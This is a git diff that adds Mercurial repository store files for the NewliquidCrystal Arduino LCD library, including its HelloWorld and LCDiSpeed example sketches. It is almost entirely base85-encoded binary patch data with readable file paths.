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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.i b/libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.i new file mode 100644 index 0000000000000000000000000000000000000000..073ffe7e61ad2759d5459f0f4ee52f6be0e55a36 GIT binary patch literal 64 zcmZQzU|?hb0SOinMzP(?z-$JFHUFXDL&c>p3p2zerm|kt-u&jZ_u;z9Hc&NS3IL0w B6)yk) literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/doxygen__objdb__2806.tmp.i b/libraries/NewliquidCrystal/.hg/store/data/doxygen__objdb__2806.tmp.i new file mode 100644 index 0000000000000000000000000000000000000000..3e59999aebf3036a396bf12f4bee33ead960c514 GIT binary patch literal 64 ocmZQzWME{#1Z)07!4BT17cEL#9gltpN?j}Bwewfo#oNfr0XB;h@c;k- literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__4bit/_hello_world__4bit.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__4bit/_hello_world__4bit.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..44a37c1475d3bca0903d719ca330067d2cf06de4 GIT binary patch literal 1181 zcmZQzWME_f115h42G)fTHUry#D5$qLNRW8M^4!8_Nua|X`Bxw0yi%cRz*NPYwISL0 zw+ux7zKbtpjc=N=)=>NHvb@O=7ud8~yV`#x&eBphEHF*pd}PYT&j0&nv$J?z@x0vB zB6Gj^T1Dbh_1B{N9cWId?Wxsidz^W%zOUV9FIaf4TS7%vH7JBEPPD%m2Ms|E^M5?7^l# z56_Avi;F)v9uy%k!Gk-EEh=-BawlJqnE~?w(@7Fc+f0)f!(Ky}i-OWjt z-`8x9DT?}NJ8gc#&3A22Z@TR9S+@Fe&K@IH{nE;%d7jnF0@7w5O9m*vn?(;^?K^%gv@0ddnWb>ov_R*SWsH~w9^p&-+=kptKdOXV~|9;t$;(eggvrmAfv!E~KXuHH) z$#veRecUq^p0PQ6U~|sz?L6!b^-rGfacz&^`6St*c17@&j7)(a-f3%v7$Y2cf{VT8 z|KaF+F6MT|v|~k2hu7vNQ_1;l!3US!o+ABv{*4lO?!_rz#BZ|JCQdV%ySc9WNinnL zf&=T4u3TGLx-{rm>$ergZ+Y7Syic+=)jVGR_(*`RL-T_GuIE{fvPT8Wd?!DfL6Kf=L5}nigs`j0q#_=j} zra^aj$SM8LLH^yI%b%G@-z-y^dgD@!?fZsbyB*BRkFO56vC;k{Yl{UaO@R_35ZD8g zV-1+az`y~bK`C+>@0Y`GD-Fc^bEh47S)@7q5-$6(>Ct_da(Oss>DftZ!)caa;G~Pm`B+ z>y@q}cbev0NviF?GH1@84}TWTnNl%%$r+)NeQ}OnS`prXSu>|Pb)|MqY+M+*$Tccy zQ)W=oqSnH!prTo>lNwtKyDBHmOwID@YV7Qss4A{3eqocGLLBFjO{X+hX3nf!$;HKW z?q8jvW8XnVE`fxMgafP$Ph_>0fn35Y40cZ!&=a*_76St)oR~l!xgqx~J~Aats%!eI zpIM9*h9+GP|3cM(DUc@^nteEqewf{l4B}k-p=pYcr;n1#kD%$zV3g2n$?Nx){@LV z5zB9u&v*Z@P(S5TCF;GWHlVY{vi`hZnRe~h+NF;SZZ7eAk<-2LmQaaE^`58A#qzoG z>2`5HGfeewdg?4c<-zdqL0QRt$-aH}zUICBeD>b8cE5_d?`wByeb?*T5WsUU%ebtn z%V6RmM}?_;Wn9YFJDw>CPMqv{N=;gQqTZBgv(K;J|3J3RP+)P(BPMkicy?Tq* zxm|mrs(h!pN}Y0<$gWnjjK^k+{<&s`k_%g0pBu$!i=R#8y%Uq9v?xF7?6Z;}H8=Y= zN}Gb2hj(gTj?UiN>K_t4?&XgKPlh$j^86;i(s|WqBDcKIQ@(<5le48Q zg162U@yv6*UH8YU@=)DJUV*)%quc9DE; zx^Bs}YwpkYS--o>cj3ed)utNZb(5|H=`C<82szXmHM3!&{RzR6hu^0@H2qLmV88Dm zw~x3>X3otwE59t=R+jC3>2=gE#f+zOmc7on;$-1!Hz#MqGUM>HZN1aDRt4VHxNkp6 z(_TAht@`BBv)QJfpGIVDT=7hHhqP(Tlmw-ShDl~YpFGV@Xu6cn8O{X&8qgF}E! z5HK__-~wr3Dgu!V_kb2X1G5+y>R>6p&4qK@4Ur#iQ(D_jING~&x6MfkfT{sg6?2jk z8k&9F);;;txpZdd%9)9aTo)~^%u1TIG;&en!kw)f7jEoyOw`8>@h{~ z>2*uqs#@+jP&Hr*6gmveJ{(64m^;2Z&**UyIP>7e( z4JE9swY3WbtB$Tz_3J!&({koZNma&~m0VH<%uWWr2bOWJILy34N{M%pPt(Z^hE|5? HrAAo*4YnC2 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..60dfe956dac98d71f25325b29bd11f4ff0214bf8 GIT binary patch literal 558 zcmV+}0@3{d0RRC20000000Hg*00dY700000001KY|NsC0|Ns9qHI6jxpUF~1F-WAM zMqS-sZ9E7700000000000001ZoRw2uZ<|06e7D4ZSh+8Uf@6r3G?J6N;PgX^)GBF} zhqj6qxR_Jnmcmg)ll=GYfo+PNs4Ykw?9R;X%`UH$jnE5)JL6}ke9X=}k0*Wz=TB5=E zrN$_eJ+?!Kr9=Y=l{7&2pk)JbiY3NImX$M!S|b6=y!u>xIsFFb@Zd+jANan-PBLv%@v{;TW|?`5~!?8-WmpQI9dlDZJ?gAIT+`7n|zrA2V!9l47g zYuEv$l~I_fUlL3zEn#5B)*TtLAs~EjZA34^%#1J@+yXjvjd1BmaxQMk1wL zg4nBjEwCc6fDO1Pl{VsynC{Nn)V0I)wDl+>>MiP2mc#>)DPwptP^%n`B5iZ`R0>uE z#U1h&yqujwaLg|U2QE}8HSe$}+P8Hpl+_;-Iv`y1%-QTY!cfpS#|i~ieSP*^+|sZv zD`FdM!h-&udT_s0jEOqlQTGph^9o6#}kM>AiNrbX^?pDf!>n7Qz<&1`(7ptZ*_5`v3p{ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.pde.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.pde.i new file mode 100644 index 0000000000000000000000000000000000000000..faacf4321e7fdd4d56cfc5b347cfcf65e26f2cf3 GIT binary patch literal 631 zcmV--0*L(p0RRC20000000K7v00hba00000004gf|NsC0|Ns9PF%X4`UxCvm*RuVL zu*choI1kVO00000000000001ZoRw2iZ`v>rR$n9WA5QEgr~winjFz@9p;{+Z+SG00 zVVf!wn_|uQGRKrzTT+LlO3eD{5y&);1RycDzI7{o8O%#_Hx7eXnVqEY<% z(^Y-dks3E}BW{nOKj_CJ(H{tYG*6G>-XQKrgAp6B-e4GW&g1!z_tS9X9e8h~PSuJF zIGIW#I*YT$lhCF7xsp6FMQ)jLySQ}2+Yf_Exjzct2A`)NuBY#>&RgS#*X_dd>mKf3 z&3tROAyJtAfR9qYf+7r|Cd{(#xn?sZO6&%m7{M$s$b|)*gBEK@7tFBK3X?aySz!e* zv&_F_Uq|2J6z;-V7)D_j&^w|#sMc;7ZQ@ZaUc*0(pNLLyt^X=p#Y@@UHv6&-?-nI@ zCs}2F>&^whncSI)8>#(h81!1>J!{ATsil=n$=?F(LO4RjOr1L-Aw$3qgGVDu5n?K2 zymAXHZUioq$xHMo*d6&_1hx_jTng}?)%_@NgWv#LaAu^oesh1)nr^Zlb_OZL(w~jQ z1gZNkF1;#k*DEOQ&BaY=Cf9 zGTZH!2vtG#94Ta&m-V?rQ9qNF$&oyCi2x!XJIce8V-%9xk}D6KslH*F z+X+w$H|ox6yGBS?xy5B|>H)Y=tni~aEO~1tE#wIFOqqt6peYmjKPv=w!{lC_O=y-- R+ECD6v8#go`2#3ZR??oBDS7|^ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r1/_hello_world___s_r1.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r1/_hello_world___s_r1.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..da0ecc506273ee987a7307122a61fa92c2a6fbc4 GIT binary patch literal 536 zcmV+z0_Xhz0RRC20000000Gzl00brg00000002$@|NsC0|Ns9@XKnPNDHtuB>Ky?4 z3+`Ua%9~9900000000000001ZoRyQoZks?5hVMwc!^piX3QpKasVX_i1*`2LhpJId zZB?ydV@6tbC@e)Z&AWHj*ial-Z9xJvJO974-;7_O%}kqXxW2=0E#_(6H%^(a_aEhX zaT^9<@FET-%f)513WJLaIC1^_)57N^UvQ6Gs|)kmst+jHXpwSNK5v=YYD^#sA zr|TvRHoeoJ>auyLKE3$@H}I5fl0+s+%x}qeJbn95xr@tLe3t*b`ptAro&Brr6d!EI zZH{fj;5%XNPtsN*dI|&Zu+BGni&n_jF;hEY!skbe4wb#kCY720TMf{iATVobA}sZu~ZJp`n5-@1-k-rkCGL?u5UnI@sG2!2%3Vr_o}M; zcWp1w?=Tna65)1GE|;eSQ$h1JcBrVCn#fH}+qxk}=@(*!5av zekJFXNsJx<00000000000001ZoRyPNZ`v>r$JN(J`3@)clBfX^1gw;{FH~9|`Y^4U z`mjxt6CYs7u`|ahOS^veos$9$W!e@bg75DC_xX3`#LIM1p9B76c_FbJ-k_BFUK`23 z-+f9BmII-5BQW@I4r4xjKjq6Y8;xek*@(|FWC@SsWg4f56U@?#&C)UVPP}(QWwPQ3 z7x%*8V14Dk3f+nymEa3gmzK$98<+RJH*t^|4@TkK_l83_^8ET!;%lECxDzYIBzzRg zxl`rBAhW=rL<@Qe3OA6gnPHhlQ~F+7TLfnE@^kU!>>FIdQ=Gf&ax|Yq8cjLhz>V z7lV}sSFkNEj8ImpphrXO+?!t5(0Se=l3H&GkXCiheDV83DQItl_@oG zbcqNOAS5jSqDCRHZF$Eba9{(&6xTToZxn{D#O(xHp}Xu3x7}#Ss?zGbbMFB-N>&HS uByM#ZCM=X1=sRNyQlxu^>OVUKwqoL-&mQ#JQrZydf3fR=`1}THQcaVv@EYs@ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__by_vac/_hello_world__by_vac.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__by_vac/_hello_world__by_vac.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..f5ea3bd1b55abe56c38b7a37db619ecc206d5cfa GIT binary patch literal 786 zcmV+t1MU0(0RRC20000000Png00&+G00000005=`|NsC0|Ns9z1hpqd?)DRuPb@(} zT1-{r5mIIV00000000000001ZoTXH4PunmM{=7*04=45|s2;UL`hp7kKw(-nCJ^Oi z(lk|RVu-I3mC(9)`!;A2`k?(Y;7H@&Oa<$UYf)!^!FLE(jayY(P_y zEB1*;!7GP7prLsD)nH9YRL(aP579$nzYRs3P}3@uP^$1*a}0%+p&e~{ z+OWb^CB-~Q^DRb|-doITy|Lm-OouX^pkL>tD$BMx z(@ICYbW}Mh&x15oF9q#`t)q_~!%=ywelcyw300Ee16t-Bv?MRIBvFw_?hNz>?Zz3! zfC`L1^EAkepb_q3_PM1 zQ68h)NvZ?bon$-8r78lBa3S?_G-4jHThIs|607z`5Z74Cx)H!NM7$`&p2#mGRko(j^+SkXGcX!FyUh~pewM)6}Ow^~ERUP-0a QYgL~cQdS?Ge=>P5d2bzdcmMzZ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__i2c/_hello_world__i2c.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__i2c/_hello_world__i2c.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..814496fd5ce8cffb44677e4aa9a6f5aaba45893e GIT binary patch literal 1125 zcmV-r1e*H*0RRC20000000ImE00iU!00000000L6|NsC0|NsB%dnjU9pl{7r9f1~= zP9t#3y$#6#00000000000001ZoUKz)Z__Xke)q39wJ)g@wzxxRQUPhCf>vznG+ONe zp~+3$=7eh($E7Q%|DAJ^HVchFLO6Li+28lw`R;QUb)q(@gx3#faE>KH&cNKrU z9)B23AMeJu;1|DOjF_>N!hwLC6wCs&+(MEGD-tJd&gMHOAzz`AyU&+j;0^p_0MR`1 zD?AA~eW$y1$SL9nEN@`he!$9X!mje!x|xl)rr@1X5fkqb8Ivs_h{DPb zr3Mj|5ozriaOU8|7B&y7`Ti5TA0Fma(ErG;=$TnjYfkQ4C0`owfC{^|s9n$*Nu^8( zSNFr&_;vyvPp%L&zIbDEL$v@kfe$E6=|_ z&+plBnsME6nJVT-z-KfoBrkj4xs>Xs(lWUcA$#?EP$aw}X#VR625CP^(_oTB2^rD> zozMY~<0uaMBZt2 za{=HE$c%My3Bu)S1I-8b-32hRhr?!xT41ER2|IfO-QfQgyphoYU!O}0xQ($1zBV6A zuy}0ByZ7~UPVpZbveJzo;t$7WcqQ&C^_B%w2g*yK;n5v9}SIhT$@Kpf? zDU6XEXf85pgvwzuhu>Nlkza#RV5S^OiZrQMb?&y+AY60pCGe&O-XJiDa9Z!>l|CDWT(X%+cqM_kEw|`+lGI^FE)?^8z3M1grzB1OS_)|JQ)Z z>INpy?Ktgwll=Dyy) zLV#D!vzE?^j>A+rJZ+Jxf4#dhejNKssudXqzu6^Cw zFuS=^mA_d%Up@S@cC>7y1!=E(Z*fJV)<9q8)3e$x{8;3Ni*%nlX%?h2a{*RcQy$o( zeUyJ}%Zd4Cl7&RDo`+CvPd$|whpq+LFkajRM@^5Fw&A2 zuM$;r{}cC0lI$v%OA+)qV(z<)xjLBM>7rEe)5-|?569_K<;T1@kG(sC3i$SyzXZa6 zJbit{D@Si`-=(YN4R8cam50pS|1Tsx0eebr2)T;@0K@o{JpxpDtFuMvh{ ziiLOkZ8YUw+&|!g&45)}_kLY$n?*&U)S%+i-go_3Vd4pVaG#L)L6?MG!HVp8;9-Ir zBtR3FMXvk zj0s}yj8f=MYfr}a7^l@j2(1$7JE8fgDQJY@UdP(q3eAoH>2}Rsc6{jSmkDQSqVX*8 z7fkyQC^T_bPI!ezF;-Mxn_8DioI#rwhc{+JqtZI{Tm=PUxCBq8@MdntSn@YkPu4v-4~6ED9U$FrEVJaq|r*dnqPMzKJYq6nJpZuhe=o_M~YBRhY{g=-pjwiKr2lpMkS|&>^Csj ij~}omff>w9TLAmL+XiMx%dxP)2wGbM0sxB8^zeU1vuFr{X9$i52x;nvs%SrEoGvcv}V;nnzTwx z`+`vACI;LYn>o%3tN8CbCqUQ;M3F6>-<{vPcP4L?Np+D)xcRDn6)H>ID)&M^3%QyvZCE3NL*FsD|27A{%J=|{oBa5-~bBM}*gaxXKX_!cvAT$(UK)2)fHrgYv#!zy={%n}c z>|6qkdT{vRoKGzTzy`Z;Sd*UhrPh|gCzs(J7S2L)tt%;9UaCNUVyFvO)ja+)i4SJ! zK`Rp~H)`(g$*k|LjG!tiMPyQo6{g0V^B`-zFe;=|R-do4j2H5Xo4 z1CJ|scFHR=-EzzYrfHj&=SR(HH~3KlpDN%J0^<(uJ4rRTL7x*QvvYbKRXU;ctA;i- UnQS4Oo?LNWHsm$=3(-kX2&X6w00000 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.pde.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.pde.i new file mode 100644 index 0000000000000000000000000000000000000000..692032436e461a786bc78246d4e67f25ee3890b4 GIT binary patch literal 3140 zcmV-K47>9H0RRC20000001FBL032Tc00000005x>|NsC0|NsA`zusdwYzx)B(kUAZ zREpNVMltdL00000000000001ZoUK`HZ`;Tb{%rkH5$8=m(@&zL4(Z;f6o3tk7i zU$R6Q5z|(EuSA@$R(WPcs$-Q|CC>Z93)**86h_ZVazO7xo{d4KOsr+vo5E%4D%GEv z82r|`AuXcuSiJtV_hHHz=rdKZh~C{yJEBmw5SyijCL5!12cq_zsM^F)NjymOLKkA#djZ+R zj<_eu2?hk2b_O(6-2$EC5zPH*Q-Ei^w0 z+L(MpY{*%7p0V2WT-JhUuew*J<}L7#xM6cwlv$xux+OjeH>R?ORGTC1RKmL6Vhh~l zyp-hZ9X6G;dGW|P4W2);UD3w}B%6$c4>TED0@#oalo^}}FjrDU8yV9G8(-3KG$4EdB%cR1GI5w@WxpvoA!U;Tzak$j=Z=AR~o!oOYta z7H0*VnXi~hQQQ2mx;>Y_b^0F2&&t&d5~ygPiCf#r$5>`0-1#Tr{hG3a^ojE<=?fA> zpN2qjOJ+syi07e9xyq4IL1t||?C@czv^ccsSiEIw^AO{<2DGge{$xd)bCD9CH4*nR zEtL(43P1vekq%T1?inP@f|na?0;E{|9~G`SXBb2&)tTkEGzQd2PY`TLAEP*CKF%b? z1$gxA%NcP9wyX!A9hOvZa!Ve_CltIRJ+& zs9sE7E|vk)u1r$uEEhKh$Rp77ErSEwo$8s9W?R9VcS)LWL<-DI5iOH!d?tBo^Vz-5 zON&$hnKHpOKWkg$hNDM)xIaAakDiLznmYDOu2DVL=+Zg^d)FQF%E3 zJ;CDL`1<`6IlQy>@%qzLoCP*FI{xgKRPf(tHm$*+v1{_~?#b)P?ZM*YY<#db{do52 z$l~4ECmQmmA0bJc0YfN3^F$pZJ#UbnH%Rvh&yNWjeQE{kuGbV!>kJBXfTuf62tN`h zkWzy&Epq%B6#*s423N>oa@go%sk5s3MC*h;U=qa+hkW1VhbY(4a2MD4DcbOe;iVp1 zEX^&Qid&^2k9wowFd#1FKf^ThsallEs;wXL0@EJRVQHiFtbwo{uV4E1q3vT)hNs$aZQIr1_QIW-$aCOr>I0&e3J5-t96k(}Y09J*mgR znez#HS>TQ;&e)%DM&SZ9XD17=#3hKI2jNyp|_V@);1?zTLtzNFHv$dK(D*>< z=;O32#M`b&p5Xfw-)H##xhrOA7c(@nSQpz4Sq8(z>#Ol!-%tMX^X=XBht_T@BVOV; zc)h?Eyaad&@DkuP8g|9a^>lJO`TN@rA4@Z}fw`G2Oc|q-IQ3^T{+x1w*m6xXQ0qID zTJ^gHIo3I<#THwdJDUOqd4qpMlP2K_5qlTHNTh|Hw@B(iAOXsqMrb|(J`oY|P_&4i zBX+RL`VYUHKZmvq$f~I3FnTPL1k;vn9an?kx$~eO(s>Bi~jE_^cU;`Gxs zo36241Rilm*b#LEeU>8X$dg0Pq`8RBfG6JZ>~;!oSGZLyA{aZtZXM?no%5b2Ab7ye zGuZhJL(jfpXwnsAr-)|hjn80_bJvncY6y~LS}@XAdLF2G)-d;BB}d;@a>Pm=u6ouF z^S%2G>wnAk1DU_an7i};UuejyZwRKOal&1d-RFQntBP_Rbz1*zQH#JG4o;yQaLBIb z2*7l?%G@vujJFq<6TrI9FA1W6@!h%&UAB&bmfIA7AaanwU7KIT)DVFdp8IA>VC6v~ zX#dsgpXRw!zs#&&z?)b>(^k|eE?fLM4z2v3&;JE=Sah5!X(G}N7N53GXcnigf+-=q zZlFbsRwv8^-IxBuvnX`ot~hQk@e{-lBZC`hB#sYqp~5+wPxN2tG|!xq(u4!WuILkD z5Kj6Ls}cBD?77!c^X5Y-4`|`YOT1~g;4!EgEu2kuO$U>C1gCUG`}^d}_euK!dsqvy zn-%Di9~(iXwq9vej}nu;?tWA|-V+)3Mx|0$;=ERX9*3ZIHC*-rTu=_utkiKK^DhCc zUac_^N@P$`xJ0#3X6KwXla{6%o^W|Hk7c1h2SGG~;6T3@diVdSZp>WuJTs_|9)rq- z`*Av$kDS#=!5`bLTD7DdQo98inrcZG1d9PUuyw!Whhr?TP-iZAy# zStrj|8T9b(TIty2ma6Ln5shLjJ$muzQpDmFu7-5g>vedZ%lSPV*k=nru$NhizDwt} zdYLO@5K6)2nLo`)49F@?TPJ`nmR6Yssl!YB_mVBd)#Jx>3?aH5LK;<>lrCPf$$ag| z9X(?PU~$ZEMkBOV5RiR)yl9GLUbuM4zP!XA&&ji5Ui_*ziam?3E&m7KuXWlr{Ad)- z?U4&{j~(5?`d1I%J^_xPU)POa?k9=UV!Kup&v}~T{5N0QCIHsudk7?4z&>w%>Cx$} zKjindj53Okgzof~(EGeKLRB4qcoVJeo(}177^)5G!03p%o>qq)caY&ve>kXNa1Y1% zj;khOBX?HXV0IzeyNeLVaH{9^S?ZM-bzCa#2Yf`EDK<0-GX#h={ z`hgnWq5+vb2u2Uc;yoKyw$1t;k=savs$U$*1@7+;d959GdJTP2jH{#wU2Ly?@e4P; z0+cozm_ujxCKdv6PDGvfd~k0DF=+T78>-(4=;s?`n{~g5Fe5rHH+yGA!aqT{qdq7o zXZKzOOZvS4SuEW~uDX7ezjJ;whB2QS3%!BN=?!ecvrkT=0G-+v^t#QVawBN?(-AIo zK>etBGWYpg4MX%cyGpRe0lm|CJnTR1>_wrRek02N1I|jdKmY&$01FBL00000x&Qzj z7XSbN00000v;Y7A0RR90|1pOsiP8X#e$NpVtHF|l1U_`zRsaA100000000000C=2b zjlBxOFce1bYDTMjpi70IwXHf>9IStVqD4hVktVelLqV;e&*V#b(Lt!gS-x}N17Je{ zwgiA?r(-LfVWD{(P2}vbS^IlNG9?rRRz*uMB3*xd0kpNjjDH*D{Gt|PHWsP5E6u|g zFLzYY^?56g=A+yBh_U~V$2k3b7gbcHJd(Gz_!Xbl;iS`DH}ry*7Cn=Z%4^lb2y emkAb*FL<)r$gSK>Dd)V}I14#nka+{%H$oB=-Tkis literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.txt.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.txt.i new file mode 100644 index 0000000000000000000000000000000000000000..6febcab0673c0cbb36c8ccc3798b4ebd040f8b31 GIT binary patch literal 366 zcmZQzWME_f14cat24*7&n_wKm@279DFfG(=*|B}?43|unjgxQjnbiKewJvq%*MMDLe1vL#{p6p& zV%P2Z2d|HtMm?LVUH0Y9Dr)=NHT%5DAD!n_j>2_p@UGa-o{>?{nD*JywyfbHV zfgzVpw*Qo-C6S%##}Dm)_LA}bukD-fKdLO$T>Zu1@5H8DpTuhoCb3opGpA}qZeGr~ zCX~N8*aMf?o=hDCyAEFAm>hPpN>nw=-lyx35AH`2sZ zz-Ytrp;8ve*Z8NKeXoB;xX)2u?mMVBOOqGp1WK<`1lI6yYo&V;)5U!oM GMh^h!Fs`Qn literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/_serial_display/_serial_display.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/_serial_display/_serial_display.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..71bca76cc0a9fa1f736fb4f3625b014d0ab1226b GIT binary patch literal 651 zcmZQzWME_f1ICpM3`~C@YzDUfP;k8eu%DDsvEH(qi+*3*){%c^wWbwR4VbE!lRGIl z`?i6=@%yiXWxn*rbWPr}M!Q60o5-~dCE7Ym^-mw&b%cG@l#^bUj6U71o-}7`s^PYc z?;qCN-@W@F;-Fzn@%BwWE;%lF&LO*#qt2Nz$@`PIgzlP}js+{@u5IA>r@6aM{QBB* znc5WxcB{1U8Mx&{85zjNUr&-=pPL(KtReNyZDX$qH_0Bjkl*AtzeK@moVeu_aBj0rr5GhdRsNw z>&o9Hzb~+C@nycLtuFP_ZQ<>eU*25N=GguC1t_*aQ49o03=GVPU={;IFf5`QJe%K@ z+itIa&!v3z>BI-gf7tWwplZNW#hm1XhUO5rbx-~@d1<#^={jr@6aM{QBB* znc5WxcB{1U8Mx&{85zjNUr&-=pPL(KtReNyZDX$qH_0Bjkl*AtzeK@moVeu_aBj0rr5GhdRsNw z>&o9Hzb~+C@nycLtuFP_ZQ<>eU*25N=GguC1t_*aQ49o03=GVPU={;I9W0`S^Xrak z&)?i};MB6SCoCee|CVN$L)Cz(iaE&%4b35L>z@2+^3ra-(skrc)0`_we;-^~bmoZ6 z^fQl|<{a?~nHQH9XBSZ!m^E{1Q)^@A($>PPRXcYUdQI9{8I?85anZ!WuFO>{mnN=i XoLLyPsc~oItU@huWpM^cL4}n7KW{Q% literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o/i2c_l_c_dextra_i_o.ino.i b/libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o/i2c_l_c_dextra_i_o.ino.i new file mode 100644 index 0000000000000000000000000000000000000000..c7384b949afb67109a91b93a87fc0c43b39fa078 GIT binary patch literal 3510 zcmV;n4N39<0RRC20000000_ze02r$P00000000L6|NsC0|NsAham0XELzQJttRZc* zNNtxwU>WNG00000000000001ZoRt`BbJIxjyMIMrr~@e|#!d+2FoAQNWRp4*D96B6 zQIu>?Zvy+ll9?O 